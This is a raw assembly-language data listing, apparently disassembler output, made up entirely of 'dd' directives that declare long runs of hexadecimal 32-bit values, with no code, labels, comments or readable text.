		dd 2F6707C0h, 1163187Bh, 702099EFh, 173C0795h, 38CE0008h
		dd 9E3E131Ah, 0ECB404F6h
		dd 0C37C4237h, 0D090F2EEh, 1F004E33h, 20F84BE8h, 127691h
		dd 0F38CF0AFh, 0F1462463h, 32A0A05h, 0C7C0D5CCh, 1EF2872Dh
		dd 0CFE1825Dh, 302F73F4h, 0B5E054EEh, 4BA1CF40h, 91B9E800h
		dd 47524C5Ah, 8C185010h, 0AD400098h, 50416019h,	4F7AEA90h
		dd 7B0049F0h, 5943C7CBh, 0E18CB6h, 0DC6670B4h, 677123DAh
		dd 0AB423E00h, 442D90A8h, 8FDD00D2h, 0C9A64EEFh, 13074D59h
		dd 432C50A2h, 0CA792B20h, 0ABD20032h, 9F3F1517h, 5E03AF7Eh
		dd 23B4635Dh, 0A570F743h, 6DA39Ch, 2E96164Eh, 36BE72A4h
		dd 6ED44000h, 89ABD5BDh, 5A840077h, 887EEF97h, 823A9F37h
		dd 2164002Bh, 739D6EDEh, 1DB5003Ah, 44A1C309h, 0DD38E4FAh
		dd 600E93DBh, 12811700h, 1F6782h, 0B0EC808Fh, 0EB66F44Eh
		dd 0ABCCE00h, 0AA9215B7h, 460EC096h, 8EFB48D7h,	0EA6DB907h
		dd 0B6D07AA1h, 0B72D61h, 0EC32FAE6h, 0D8CC8D2Bh, 0EB31B100h
		dd 4011A298h, 2DE507C1h, 60D7DEEEh, 36A0F66Fh, 8BC90D02h
		dd 0C8AE0309h, 729801Ch, 7625A668h, 0D8D970FEh,	9C059B66h
		dd 0B416CDACh, 4038A800h, 7ADC18h, 20174C94h, 30684E8Fh
		dd 41E65A00h, 99B02BA5h, 0F0F8000Bh, 1F46EA27h,	1C0BF562h
		dd 2AC2EE34h, 0B6005C14h, 211BAD8Dh, 0D1757Eh, 0F86EBE3Bh
		dd 0D3299818h, 6A376F0Eh, 0C086E04Ch, 6CECDEh, 2CCDB4E3h
		dd 0BE3897C9h, 0D406880Ch, 5186Fh, 1223AEF4h, 697B99CFh
		dd 30F32100h, 0B98BF8D3h, 5A7103AFh, 18ADB2FAh,	0E023D481h
		dd 9200666Ah, 0E6A279DAh, 1E196FDh, 0D9F23420h,	0C071BC3Dh
		dd 650C5AD6h, 0A9E77458h, 1807150h, 54869547h, 0D90C286Ch
		dd 2100E356h, 1C4D378Ah, 57BF89h, 276FE0A7h, 0FCB7D304h
		dd 517A1D00h, 9685FF15h, 0B6553A01h, 0D72E2107h, 1D5740DAh
		dd 0FD00CDBBh, 0C8647E46h, 742604B5h, 0A2A000ECh, 0C1DE2772h
		dd 0BC00D575h, 5BFC0614h, 58486356h, 6C81A85Fh,	0CC6D4222h
		dd 0E7137318h, 0BE7B31h, 0A29EC75Ah, 8500723Ch,	1021EF3Bh
		dd 0EE282C4Eh, 0C5DC0016h, 0C11DC95Eh, 0DD3E2E05h, 0D7DF0063h
		dd 27FC7871h, 68800166h, 8E480396h, 0B871874Ah,	78D1189Fh
		dd 96C4DFF6h, 64D400F5h, 2AE3CFA5h, 0F90320C4h,	0C8D8E054h
		dd 80139850h, 0CB153AA6h, 4BFA2280h, 0F368247Ah, 63D0E500h
		dd 7686DDE6h, 7A89008h,	0FB207784h, 8B4C0010h, 3F17AAA6h
		dd 1039CADh, 0F8A49976h, 97C705h, 6CA23AF2h, 71EF0260h
		dd 0BDFF4400h, 61127709h, 0D41F0774h, 0D08B387Ah, 0CE99677Ch
		dd 0FB91D612h, 0CA005025h, 1A8896F8h, 2CF270h, 0DB341E1h
		dd 0CF05C2BAh, 0F4919C00h, 841A746Bh, 90100036h, 0ADF5E1C4h
		dd 4D3DA006h, 0BD5C0098h, 0C9E61F8Eh, 0F1F0015Ah, 3F71ECA5h
		dd 0A99DE83Ch, 318F482Eh, 4A85A204h, 0D33FC80h,	0AEE001F0h
		dd 0C1A08EB8h, 1BFD2086h, 775CE5E4h, 615C00E8h,	0EF7D03E2h
		dd 95420F0Ah, 809D17C3h, 15A5CA7Bh, 0FE5C5DB1h,	0A4AE016Ah
		dd 3D53EC7h, 0E318F0h, 0B6576311h, 62C4395Ah, 0D6867602h
		dd 40D8B4CBh, 0EC4669E3h, 21423BAFh, 0ACD43A80h, 8E137CCAh
		dd 94371100h, 685F7631h, 0E9C1669h, 48EB000Ch, 0D2462BCFh
		dd 0A70E04FEh, 529DD82h, 0BC8005D3h, 0EA18FADh,	9EEC3AA3h
		dd 0F6404CA0h, 0D394A06h, 565500B8h, 99CA2E68h,	0B4310133h
		dd 0F3B24080h, 7DE2C4B5h, 49A7E400h, 3F828A58h,	77F000A4h
		dd 43CCB662h, 8100B3E8h, 85767337h, 0C4F25Fh, 929942F1h
		dd 1769902Bh, 7991310Eh, 0D7A9437Fh, 0E7F5BF8Ah, 1141C0EEh
		dd 0D9B043D1h, 544D2100h, 9F1FE93Fh, 48AA00D8h,	0E33078FDh
		dd 2900625Dh, 0ED7E3603h, 7583E1h, 69FB94A3h, 7DA0C77Bh
		dd 0B2F8A702h, 0C0DE7C11h, 64DD0h, 0EE1980E1h, 41D99496h
		dd 0BE1FB200h, 0CAC05D54h, 90C00F7h, 0EDCDF592h, 26008539h
		dd 9C46C2A1h, 78214EAh,	1167A45Eh, 0DC90E21Eh, 0D5495460h
		dd 0AC0E7B28h, 44EE73Bh, 0FE8AF176h, 0D3807385h, 0A874CCh
		dd 0CA358D1Dh, 768F474Dh, 0ED346A1Dh, 0A2909B00h, 711A9C36h
		dd 5CC71ED4h, 5EC8800Eh, 50680DE1h, 810C183Ah, 4F2C9E1Eh
		dd 50C646BCh, 0C50900A0h, 0F26E96FBh, 0F13A53BAh, 483C800Bh
		dd 0E94DFA0Ah, 0E7EC97h, 634F051Fh, 27699B1Ah, 0CE0DB900h
		dd 0D1D21C33h, 0E6230EF7h, 0E420555Ah, 0B6C29FC5h, 7C2D2E00h
		dd 6844AC77h, 93253B80h, 78F412h, 0FFCC97B0h, 0E001D19h
		dd 0E8BE812Bh, 0C72818h, 93D5C1B3h, 7AB10BCAh, 3D0036EEh
		dd 4E8BF430h, 80A1D9h, 1174F2FCh, 159A66Eh, 0CFEC48h, 2A3579D4h
		dd 38E0CEF1h, 493CE407h, 3C516C80h, 63CB5260h, 0E70F9E00h
		dd 0BD59C132h, 958B3EC4h, 6147BA02h, 8DE0679Dh,	0DC7A30B4h
		dd 13E48300h, 571DAF90h, 69F200EDh, 3A4D09A6h, 0B60011BCh
		dd 41F85DFBh, 0F3F3AF5Ch, 0E6A0C0FBh, 7BC2002Ch, 38722BD8h
		dd 690024A8h, 567ABD1Eh, 51D5589Dh, 41F0E059h, 0B48500ECh
		dd 0E48E1874h, 0EA000720h, 0BF990F25h, 1D518254h, 0CF7FE7h
		dd 74BDA8C6h, 0BC00A379h, 38E7737h, 9EE8A4h, 0ED829A36h
		dd 0F73B0C97h, 327E3800h, 0FB666ABh, 0F39E6CEh,	0FF6FB409h
		dd 196443A0h, 0C5036A58h, 659F994Ah, 0BF72D81Eh, 0E60EAC8h
		dd 57AC151Ch, 0BA811F60h, 0AA00F39Ch, 8416E7E9h, 148472Eh
		dd 0F613FADFh, 0CC5FD872h, 5B078721h, 6A4E012h,	0FA500797h
		dd 23ED31h, 32837E22h, 8C45245Dh, 75301E5Ch, 0D4B8C700h
		dd 0A98D5B93h, 3F1A7F8Bh, 0DB876367h, 0B11BC573h, 80B37D33h
		dd 89D38BDCh, 0B0CE9BF7h, 3BA400CCh, 2364BEE5h,	94269C8Dh
		dd 760742FEh, 17709B2Fh, 1FB68ACBh, 0BB6D4F4Dh,	0DAB77F80h
		dd 5FCC685h, 0DCCD8400h, 0B4980D24h, 2E90E7Bh, 0EB2F27E0h
		dd 0EA6E68A0h, 2B0077D2h, 266AA871h, 4DC3EB0h, 5DB672EFh
		dd 51E0A04Fh, 90A60D0Bh, 0A378A027h, 6FB3FBEBh,	0E0E011C2h
		dd 0AC3C4E6h, 311635E8h, 0ED00B8D9h, 0A7269D15h, 3CE03841h
		dd 45C5E4Ah, 0A54F63E4h, 9008076Ch, 46196C9Eh, 0A10B950Ch
		dd 4C6B46BEh, 200BA75Fh, 8020EFC1h, 55B9CAC6h, 0CFBB700h
		dd 0C3FF8D65h, 2C10A997h, 0E0755F8h, 67DB0CC5h,	0A2DDD980h
		dd 14BEEC9h, 0EA49B400h, 334028E5h, 39090D0Fh, 0BFF26CA8h
		dd 0DF66B41Eh, 0EC303A07h, 0C22217F1h, 0DB0B9C68h, 0C8616A0Dh
		dd 4399F0D8h, 0F0830E04h, 98C01731h, 0D65028h, 22AC81F8h
		dd 85C934D1h, 801EC127h, 1EBC878h, 143F00C3h, 17468F6Ah
		dd 69158D13h, 0F64C5C2h, 0D055B496h, 1E7E3B00h,	0BE4BDF38h
		dd 9B952A00h, 43281464h, 5CF6004Ah, 9CEFB463h, 0EC002FA5h
		dd 0F4DD23FAh, 0E922EDh, 6D65F7AEh, 1FC96490h, 170103F0h
		dd 0DFEDE8FFh, 6FF8CB93h, 0ECDEE01Ah, 0BDC900F7h, 5C3CAB3Fh
		dd 7626C0E3h, 0F5038A71h, 0BB78B14Eh, 9C7EA032h, 5B0B0537h
		dd 3E59B9h, 7863088Ch, 21DEF47h, 0D8C1736Ch, 668BDE35h
		dd 7CBCAC40h, 60449E0Dh, 0DB0F89F9h, 91CE7721h,	0D04F0010h
		dd 4A60968Eh, 5FAB4020h, 0E4949900h, 9D28279h, 8796038Ch
		dd 0D5E5DB14h, 7B038DB8h, 5D5F920Fh, 0B42186D6h, 6BF839h
		dd 9028F187h, 0B8C2E50Fh, 211908CCh, 87130002h,	0B3417ACh
		dd 9400E826h, 0D89D36C0h, 38D5B942h, 70083CCh, 0B4BAED52h
		dd 4620C095h, 9C209484h, 9704C2Eh, 94006020h, 5D3FEC3Bh
		dd 17D5E448h, 8C6653BDh, 0FA09A464h, 0B768C56h,	1D646930h
		dd 0FA0C0017h
		dd 0F000AB26h, 821561C8h, 0EA59E07h, 905DB4B8h,	42D9BE41h
		dd 0B8887CA3h, 17A34355h, 509029E6h, 7978403Dh,	0D42C3EF3h
		dd 71F4DC00h, 4B471CD7h, 0AE395E60h, 50B36309h,	4FF0E0CFh
		dd 1000000Eh, 75E3CB81h, 560089F2h, 0DC0B6574h,	6A861C1h
		dd 82B6F1F9h, 0D300D9EBh, 7A693783h, 0A0BDB4BBh, 2890408Ch
		dd 0E4D91Ch, 28DD928Eh,	0A29597CBh, 5D865F1Eh, 0C66FBC40h
		dd 2EF67A24h, 67A78Ah, 0E4B79E22h, 98002B6Ah, 7F8F82CEh
		dd 1C20FD64h, 0C03E2627h, 1BF65A69h, 0B032CC0h,	0B24CD437h
		dd 2F962675h, 4A803E5Ch, 598A69FEh, 40907A3h, 371547h
		dd 7B74C69Fh, 222400AFh, 231AC87Ah, 9E503FCFh, 8AB0BDE7h
		dd 18420E3Ah, 942079F9h, 5C2100D0h, 43186A13h, 0FF000FEFh
		dd 45B1A92Ah, 1927381h,	1702F2D6h, 81031AF6h, 828C3A58h
		dd 0A7C80977h, 8F131DDDh, 213F1BAFh, 5595E7B0h,	0C7E92303h
		dd 0B8EDE528h, 3025218h, 0BE1C727Ah, 5100DD3Bh,	1D5D9FA8h
		dd 0A06F3045h, 0E86E98E2h, 201C60B4h, 825D9791h, 0A3A57C07h
		dd 0D702E837h, 1B556066h, 519400F1h, 7D696D5h, 0AD0C5754h
		dd 0E078A92Bh, 0A59A0F03h, 12605CDDh, 0ACB5AB92h, 55F23A00h
		dd 4347BF6Bh, 0A92D07CAh, 3B5FDD08h, 9A922700h,	6156CC7h
		dd 238091DCh, 839A0709h, 0A1E7A275h, 8302DE18h,	7D826DC8h
		dd 93996A00h, 107F2558h, 4ECF185Fh, 3853995Eh, 2BAE51C0h
		dd 1C637B13h, 40517F33h, 0A2F983ECh, 0B803E1AAh, 0CA7B1CEh
		dd 0C7D82819h, 0EB3F00BBh, 698393A0h, 3D006F6Bh, 0BFB84572h
		dd 0F7DAC2h, 0D46DE486h, 6C6A6656h, 5D00EA98h, 0A6DFDE10h
		dd 414AFCh, 0AD028258h,	0E8A110Ah, 0F0716F0Eh, 0BD9DE0E8h
		dd 7D43D26h, 884919D2h,	840EE048h, 18007A0Ah, 0EFF0322Ch
		dd 0DC5827h, 30C65A2Bh,	0B7904B46h, 0A87834C0h,	1E81703Bh
		dd 0FC3A27h, 13A26F97h,	0C8F8CDD9h, 35EC8B78h, 3400A878h
		dd 4C5531FFh, 3EF15ECh,	0D2AB1875h, 0D5F10AA3h,	0F0F3F916h
		dd 667DE17Ah, 2B788607h, 0A4027AAh, 0D5A081h, 0A77A0E1Ah
		dd 0D1E20426h, 50E46B06h, 1815F5h, 6CE3BCAEh, 0F7EAF3F9h
		dd 76878E1Fh, 34A5DB07h, 77170DF3h, 92B40128h, 0E58F1190h
		dd 1812B030h, 0CDCD18EAh, 8F80AD8h, 3D009D04h, 3BC03521h
		dd 186F8A0Dh, 0D8A5B0AAh, 20001D4Bh, 5BAA2AEh, 0FC6869h
		dd 0F091CAE2h, 97572DA6h, 3141DF33h, 373BE096h,	0D540084h
		dd 7C92853Fh, 0C31C27A9h, 0DEC56B2Ch, 2841C6A4h, 0C5D74F90h
		dd 4AEF188Fh, 8B993D0Ch, 162CEC14h, 38F878A8h, 6086D098h
		dd 0AA680901h, 14B3F72h, 667AA883h, 2CA96907h, 9071A0F2h
		dd 0BF532501h, 0DA18FF27h, 9E42DAh, 557E0D48h, 0F07CA491h
		dd 8008A88Bh, 5889CF05h, 0B10DDF8Fh, 49840118h,	0B56F10A1h
		dd 108921Ch, 0AEC39A95h, 88791E0Ch, 7BC0A791h, 815596C9h
		dd 66C01949h, 0C88067A8h, 3AFED414h, 84F85D10h,	44D97C1Eh
		dd 80348170h, 5E381867h, 89A731ABh, 6BC77103h, 0EB6C3E09h
		dd 0D9592C51h, 7D393034h, 0E471538Bh, 83E76B0Ah, 6881CCC2h
		dd 97804E10h, 62BE1080h, 0A5388B16h, 531C1405h,	0BC07544Ah
		dd 6C801031h, 2C75Ch, 0B24B36EAh, 3BFF7B58h, 1476A503h
		dd 17982BEh, 0B6B38A10h, 0F025C212h, 0F6064690h, 8C2CBE13h
		dd 5DDC8268h, 30804962h, 0C45FC1CEh, 0F8BB300Ah, 558FA05Dh
		dd 1167610Ah, 2542BEh, 58605AC8h, 9862761Eh, 0C482040h
		dd 0CD0AC264h, 0DC3F1F4Ch, 25E3E07h, 5902848Ah,	605222A8h
		dd 0C32E8Ch, 0D8A4A17Dh, 11656F73h, 3488B124h, 0F740B895h
		dd 68791A68h, 84019h, 6FCDBBFFh, 0E7804036h, 0D3410693h
		dd 0C88A7B24h, 0ED531D85h, 59A4AC45h, 0D7105419h, 6EB0BC57h
		dd 0FB46356h, 5D478711h, 4146D3A7h, 6132166Ch, 0D2A8F48Fh
		dd 0F8005B7Eh, 6BC5F68Dh, 7C98F4B8h, 0A6FD5CA9h, 0E7D31962h
		dd 0F9A5A113h, 6F42B13h, 1713635h, 0C3261F86h, 0E2578C5Bh
		dd 0F4180494h, 0E10807Dh, 460F1F51h, 8DC600B4h,	0B1F1F279h
		dd 81869B00h, 52E58348h, 2BFB00DBh, 26B8324Bh, 0AB503D5Ah
		dd 1B0017BBh, 0B058FDCFh, 9D6044h, 0E0E77F85h, 0BFC2C70Ah
		dd 0AA00F47Ch, 561045ADh, 333A09h, 0A3466B7Dh, 31420553h
		dd 25E7FA00h, 0C798700Ch, 4A811F99h, 0E234404Dh, 24757372h
		dd 0DE67C00h, 3D881277h, 0DDD21FC2h, 0FBD8404Bh, 5D512409h
		dd 2AC1F200h, 0BC4148BBh, 8568C030h, 11DF57EDh,	1775A01Ch
		dd 4040701Dh, 5086A4ECh, 8D9000BBh, 0A5BF3BCEh,	0BD1E09C3h
		dd 0F2C35774h, 990CA291h, 0ACC47A1Fh, 0B5DD002Dh, 74E0B7C5h
		dd 0D907D1FDh, 0BD68414Ch, 5CC71490h, 4E3002Eh,	0F32CC6FEh
		dd 8B00E669h, 0F890A574h, 1454430h, 8D79B3F4h, 20C464AAh
		dd 0BA528C08h, 389F0094h, 4504182h, 7E3700B9h, 0DC4CC776h
		dd 8800CE9Bh, 9593AD33h, 320ED28h, 1B2DB8C5h, 0BAFF5A58h
		dd 0BB5505BBh, 2A60C03Eh, 4314A466h, 0D15642h, 15D8D70Dh
		dd 264092D4h, 801072h, 0B461F229h, 863942D2h, 47528E24h
		dd 0AE00DE31h, 184C69AFh, 0A76A48DEh, 0F7BAC200h, 0F6F4355Dh
		dd 0C007F78h, 2621CE27h, 77033E8Ch, 467E034Ah, 85BC931Fh
		dd 474DD280h, 92C1D038h, 0CE00B890h, 36497C5Dh,	91130F2Dh
		dd 0D5E07477h, 0D923E0CEh, 0ABF6EB00h, 0A44781F5h, 4D123093h
		dd 161B1C88h, 38581300h, 7CDCD4A7h, 0BDDB0027h,	0A32950AEh
		dd 43004219h, 6BCB0609h, 4816D0h, 6582A7ADh, 1799C574h
		dd 0A5E73F02h, 0E36D786Ch, 0FD89C069h, 819A05DEh, 576F38h
		dd 97344C98h, 2100C03Ch, 4FAEFF6Ch, 9508692Eh, 0E6C51480h
		dd 8300E5E7h, 0B2621CC3h, 17919CEh, 90F8D4DAh, 0E4EF8817h
		dd 9F267524h, 0E30092F4h, 5DF17668h, 0CD50C0F9h, 49732CCh
		dd 0A0DD7103h, 0A0E49EF2h, 1E41DA1Bh, 0C0D35637h, 615D9920h
		dd 0A400F470h, 0EB4BC1D6h, 0F442C39h, 0B514ADE7h, 78CFA306h
		dd 0B3349300h, 77189D9Fh, 4AF70067h, 0CAA1A245h, 9500C780h
		dd 28E7390Dh, 0EFC6CEh,	1A044323h, 55A8B271h, 3357C100h
		dd 67E0876Eh, 0E8D003B1h, 0CA7AE407h, 0EAE0EEEFh, 0A3198CD1h
		dd 4E4A251Dh, 0BC40AB40h, 149AF7CEh, 0A06629A7h, 0E59B3700h
		dd 0AA77FF70h, 567FF20Bh, 0C15D8023h, 9889E8FEh, 50EF0161h
		dd 0DC9EF9D7h, 12892026h, 0C7ABA609h, 6D8E0082h, 2CFDF72h
		dd 0D10E92C5h, 2440A92Fh, 1E03285Ch, 0D463017Eh, 3E2E86Fh
		dd 0CAEA4Dh, 4B6D5261h,	88CBAFE6h, 7137CC00h, 57A28DADh
		dd 0F9575F9h, 7E8C2B9Ah, 0ECABA040h, 33097F27h,	8089611Ch
		dd 0D53A18D7h, 0E66D0754h, 0D03B68A1h, 4BE23919h, 0A57BAC73h
		dd 0DB66AE00h, 6EAF177Ch, 838600BDh, 0B8B4787Fh, 2B75F6B3h
		dd 0B90E8D00h, 587A0555h, 0B0811EADh, 50D3C029h, 0A61EC321h
		dd 0F8CA2407h, 3B23D549h, 38F336h, 5EC237F8h, 0DEC74EC9h
		dd 8E63A100h, 0D3B23A89h, 0EC9042h, 66D82A9Ch, 4748CAA3h
		dd 0E1C9FA00h, 0D4213133h, 0AEF22Bh, 0B97E5E15h, 1AAFC8C6h
		dd 0B7136905h, 0DDC0DB98h, 38B365E4h, 0F000C0D6h, 441BD093h
		dd 6803AB71h, 929147D1h, 0E096AB16h, 0E07D289Eh, 0DBC1017Eh
		dd 4F357941h, 76C5FC06h, 0E798BB03h, 83801FD4h,	18BEC0B8h
		dd 7A20C090h, 0ADBC26DDh, 3B97F50Eh, 3C10384Ah,	0B9110059h
		dd 4B7F282Fh, 2A79EB9Fh, 231E4000h, 6BE621Ah, 49027472h
		dd 8800CC38h, 141BD23Ah
		dd 3D0081B8h, 0D791F5FDh, 0D9760Ah, 6FDFCDC1h, 830E2A2Dh
		dd 0D5C71A50h, 0DC09E800h, 0A045B2C6h, 0D880004Dh, 690EAF32h
		dd 6100A7B0h, 4E79962h,	0CCE240h, 317CFFC9h, 923A1DB9h
		dd 33C26E1Dh, 228F3040h, 1A38B1h, 358A5368h, 93890508h
		dd 9162361Ch, 0A1D141C0h, 3A7734h, 9A40BC55h, 0ABF80F08h
		dd 142B700Fh, 0BEFA01D7h, 0C7ECDB87h, 26A2EE64h, 93D8AF02h
		dd 7597006Bh, 30C2BC22h, 0A67E3205h, 0F8004BF5h, 2777E363h
		dd 1EDC1C85h, 76E7C1ABh, 0C08983AFh, 57EC0A40h,	12FF5807h
		dd 2AB003BEh, 39434413h, 3D9352FEh, 156200EBh, 0B7AA57E9h
		dd 0A390BC00h, 85D74583h, 6BAE0739h, 0C096103Bh, 9983FD8h
		dd 50E14700h, 0EE6A0DDAh, 0D1F7001Dh, 0DC34916Dh, 6B0F2EC2h
		dd 0FD7A5h, 3931F09Bh, 33CF0ED3h, 174E202Bh, 908003A3h
		dd 0DF075F88h, 6668C200h, 18C0E70Ah, 96820010h,	34E828AEh
		dd 0D70017F7h, 0C087C80h, 0A6145Ch, 491DC206h, 0A241886Ah
		dd 4AC02000h, 24A715A8h, 6E7D2Bh, 0AA43BD6Fh, 0DE39B256h
		dd 544EC300h, 0EFF3D98Ah, 9B40009Dh, 0CB8F7C44h, 78007ABFh
		dd 2FC39C66h, 0A0923E76h, 1F97BD2h, 5BB958EBh, 0F2D8CB7Fh
		dd 31003B43h, 0B8AD64A3h, 7E8EF42h, 1BC86944h, 67329218h
		dd 0C6D880D5h, 0B45257h, 262B10C2h, 0AEA55D23h,	8E593207h
		dd 0EDC0839Bh, 17512Ah,	5AF8E05Ch, 0FCCADE8Ah, 6CA29D00h
		dd 0F924B625h, 8B370070h, 0A708AAECh, 200F757Fh, 4AE34365h
		dd 74039A1Eh, 0BA8C1976h, 0B3E0E04Dh, 0A6BB0065h, 95C2FEA7h
		dd 5775A527h, 9A98AA00h, 332C68F0h, 47FD0349h, 3CCB7811h
		dd 251D4D88h, 6C6AF300h, 0BF236BA3h, 2F063A13h,	2BB32Eh
		dd 4E289D51h, 7100593Ah, 0C86E644Ch, 7286E9DFh,	7DA20BA0h
		dd 8C0082F2h, 0FA6F53E4h, 212BB600h, 0EE17E563h, 0F7CC013Ah
		dd 61EDFC46h, 0ADAFD06Ch, 8E6B424h, 49D60407h, 0C2E7DDC2h
		dd 0E58DC0AFh, 9CE00AEh, 60B74FFFh, 453A5589h, 6BD08093h
		dd 19A2C2EDh, 7DC900F0h, 95508EE3h, 0AD00EB42h,	0AFD1B488h
		dd 0B0D57Bh, 668B6437h,	0F57341FFh, 0AE2CE400h,	88EB6BA6h
		dd 6A030004h, 2D45986Dh, 7926096Fh, 0C7005BBFh,	0A969FDDh
		dd 46E7070Eh, 0F7BE0DDFh, 0D0C8C56Ch, 9240FDACh, 0CC2CD4EFh
		dd 29DA8400h, 10EB1D63h, 527A0E56h, 40A1069Bh, 60CDE7F0h
		dd 8C001FF8h, 0DEC87475h, 0D2A30AB4h, 30AD03F8h, 0AFA9E981h
		dd 3689C0ECh, 3FABC306h, 9A11E55Fh, 8E7100A0h, 0AF86BE43h
		dd 0A803AAFFh, 0A5CCDE4h, 604ED22Eh, 1C4D4294h,	98C4727Dh
		dd 52E26C35h, 0B8437331h, 0C3707E9Dh, 3F250C98h, 7FD1FC06h
		dd 3566F205h, 7380DF18h, 7F3FDECAh, 9D21C0BFh, 0D0A05286h
		dd 0BB1798E4h, 0CB002A9Bh, 2E5D76B7h, 0CC810680h, 30374694h
		dd 0D67C4500h, 5D4EB5ACh, 0A120D82Ch, 260009B8h, 0C659FC67h
		dd 3A52B3E8h, 79005B7Dh, 0F82CF6D5h, 0E200F474h, 0B2FE4872h
		dd 2254B9h, 5CC3128Ah, 0A0A941E3h, 85000A74h, 1F5335E5h
		dd 0A4D542h, 548E5E4Bh,	0FEC98657h, 49002272h, 0A6A40F6h
		dd 0A00499B5h, 7D1DA5h,	902C8D38h, 9452A143h, 44AD7900h
		dd 80A62421h, 1F4600EEh, 8F1DC973h, 3B070B26h, 18B278FDh
		dd 0A04E41F3h, 0F421B1h, 28FB46CDh, 8C8A0189h, 71A44C00h
		dd 1ADDF2BBh, 6CBF0026h, 1B77F79Eh, 6701D16Eh, 0F4C79B62h
		dd 4ED095ECh, 997F00ACh, 0B970BFBEh, 4000D022h,	936CF956h
		dd 26A23AE7h, 1F4034CDh, 3F0700DAh, 0ACD050AEh,	290FCE1Fh
		dd 0E7E5C940h, 0F6DA1Eh, 0F7B89C35h, 9F52AD2Ch,	4B0008DFh
		dd 3E67B68Dh, 0E2C4066Fh, 301605E1h, 0DB0020D3h, 0EC55150Fh
		dd 8E93000Ah, 2F469578h, 0F93335E9h, 0A0C429FFh, 0F9C01501h
		dd 68BA1081h, 0CC258975h, 40337850h, 41081Bh, 74438381h
		dd 97E5E3B7h, 6BCF71C5h, 312EF440h, 18F1B70h, 3FB686ACh
		dd 802DE012h, 2558C2E0h, 0F2210C9Dh, 4263982h, 2FFEDC0Ch
		dd 8A00F6D0h, 5851BCF4h, 0FCA1F7CAh, 0F63DF62Eh, 26AA0034h
		dd 0CBCEB66h, 0E9CA11B9h, 361F7815h, 680A0201h,	1DDC3350h
		dd 21E91D99h, 173F415Ah, 8032E02Ch, 33413A69h, 4898B67Eh
		dd 675B6BFh, 0C5FCE937h, 8C3A51EBh, 0B56C8091h,	9CDE6223h
		dd 0D3791F57h, 0A8134E40h, 0A0E4C0FCh, 37DD16FBh, 947A4107h
		dd 0B0D37536h, 6E6BE032h, 6342003Eh, 0EEE91886h, 0A207F7EFh
		dd 9D2FE757h, 4C217F46h, 2201BF9Fh, 0DEC3E1EFh,	6B3FE031h
		dd 0A4D71F03h, 3D118CC2h, 96B85E58h, 0FC04C000h, 0D63E5B30h
		dd 0D1AF2100h, 0C49FA2C1h, 66630B41h, 2200C3ABh, 0A0741C5Dh
		dd 58FA370Fh, 0DB75E062h, 307EE2B6h, 65207D44h,	9214195Ah
		dd 0E12096B0h, 4918A1CAh, 0C6AB191Eh, 1E66C070h, 0B4C30068h
		dd 2376F2B7h, 777481E0h, 2C2180F9h, 0E80BC08Fh,	0BCD30067h
		dd 0D6743CB9h, 0A40E9473h, 800ED725h, 54E4938Ah, 0F1EC00D3h
		dd 916E3462h, 94A86A21h, 51C035C7h, 0CD012511h,	60340156h
		dd 8CDE070Ch, 55989131h, 0B6C36A80h, 774282A8h,	0C36EFEC0h
		dd 0C275A65Ah, 285BD00h, 947E5627h, 0D03FF0D7h,	8F23E828h
		dd 0C2E9E400h, 869D57EFh, 0FAC46045h, 975801E9h, 4E7985E6h
		dd 37E88038h, 93A6ABB4h, 8B1C0051h, 0CBD8BB44h,	11039CAh
		dd 0FC105E52h, 0B69B9FDDh, 72C0E408h, 18A5A449h, 213BA2FCh
		dd 0FE631431h, 16C6B39h, 799DE81h, 0D4457B7Eh, 0E57508A0h
		dd 0F96A6012h, 0DE40F61Eh, 0BB5C51FBh, 0C77500C4h, 530C1713h
		dd 541BE83Eh, 0C06163CFh, 2C2A29h, 0D777890Fh, 2D780D09h
		dd 3C9AF900h, 0D01246C1h, 0B6D3185Eh, 0BC038980h, 7167A200h
		dd 0D643CE8Bh, 60C97462h, 0B41621FBh, 0E03A6A1h, 6BEF7D84h
		dd 0FF02892Ah, 581E0270h, 0F20FF065h, 0DB41A075h, 0F5485B33h
		dd 73EC58B8h, 0A8BFC304h, 583276DAh, 100302Fh, 0A490DCC4h
		dd 8560B794h, 0B6AEA081h, 0E136589Eh, 8E1F9C01h, 30B7373Fh
		dd 0ABEA45D7h, 0EF041800h, 0CBBE359h, 0F3AA0ABCh, 80B0679Ah
		dd 194FB2AFh, 0CCE245BAh, 0A5F92700h, 6AA4D003h, 6E350B15h
		dd 0A806BE0h, 645EE6C3h, 34C81C01h, 42EEFA3Eh, 0CF439C47h
		dd 39B1001Fh, 32A4F3EAh, 0AF00DD82h, 90B8BEC2h,	0B728B4F5h
		dd 5B3F1D70h, 0A950CDBh, 1B5895Fh, 22A3418Fh, 4162DCCBh
		dd 477E91D8h, 0B452BC10h, 10A43948h, 0E4A065D4h, 27EE9ED7h
		dd 848ACA1Dh, 0D96BD201h, 0C440280Bh, 1862343Eh, 11299AB3h
		dd 0E4ECE2A2h, 42D11707h, 4357AB4Bh, 212746h, 0E329BAFFh
		dd 394201ECh, 0B0000FB0h, 0DC68BD2Dh, 0A16B4546h, 0E4DC1844h
		dd 1691002Bh, 963DB920h, 0B8481A0Fh, 0F26C00C8h, 0A103F8FDh
		dd 468E821h, 0C41B1827h, 0B414C8A9h, 0B8268028h, 5B040A00h
		dd 0E82220F5h, 90BF4C70h, 89559500h, 549B6DC4h,	0A9873100h
		dd 0F3EB6B94h, 0FCCA0C48h, 17401F75h, 7FA27403h, 887154E7h
		dd 1225EA8h, 1F7A21B2h,	24EB1436h, 0CF52C320h, 7F850CA0h
		dd 98A628h, 8450A31h, 4183AA9Dh, 0A8442B02h, 672E684Dh
		dd 601D444Ch, 0F3CF1D6h, 73E0BCC2h, 0C860460h, 5B2C0638h
		dd 3D3E10CBh, 6F00FE57h, 0F2C7C828h, 13AADE61h,	40987EE1h
		dd 2B5365E0h, 1816C2A5h, 24007BCEh, 0B955265Ah,	0A7DE0CAAh
		dd 0E7784BC0h, 0F148EC7Dh, 0A4170018h, 570D264Eh, 905200D5h
		dd 8B84E9BBh, 6E013E74h, 2E6DE742h, 204E9BF8h, 13CF7708h
		dd 712C663h, 0AF4C4FE1h
		dd 0F878D074h, 0FC0E9A16h, 803F3EEBh, 632853BAh, 0B26A1329h
		dd 0AB444FBCh, 0E300C10Fh, 0EEA9B454h, 55C880A0h, 1ACC4950h
		dd 46770D48h, 5399E604h, 0BC9043Eh, 6E6AC03h, 86BB0804h
		dd 63211377h, 15FBF8A1h, 18E70D3Ah, 0F939651Dh,	16D9E961h
		dd 0F2626B01h, 801820ADh, 0E655A6ECh, 66572868h, 974D16Eh
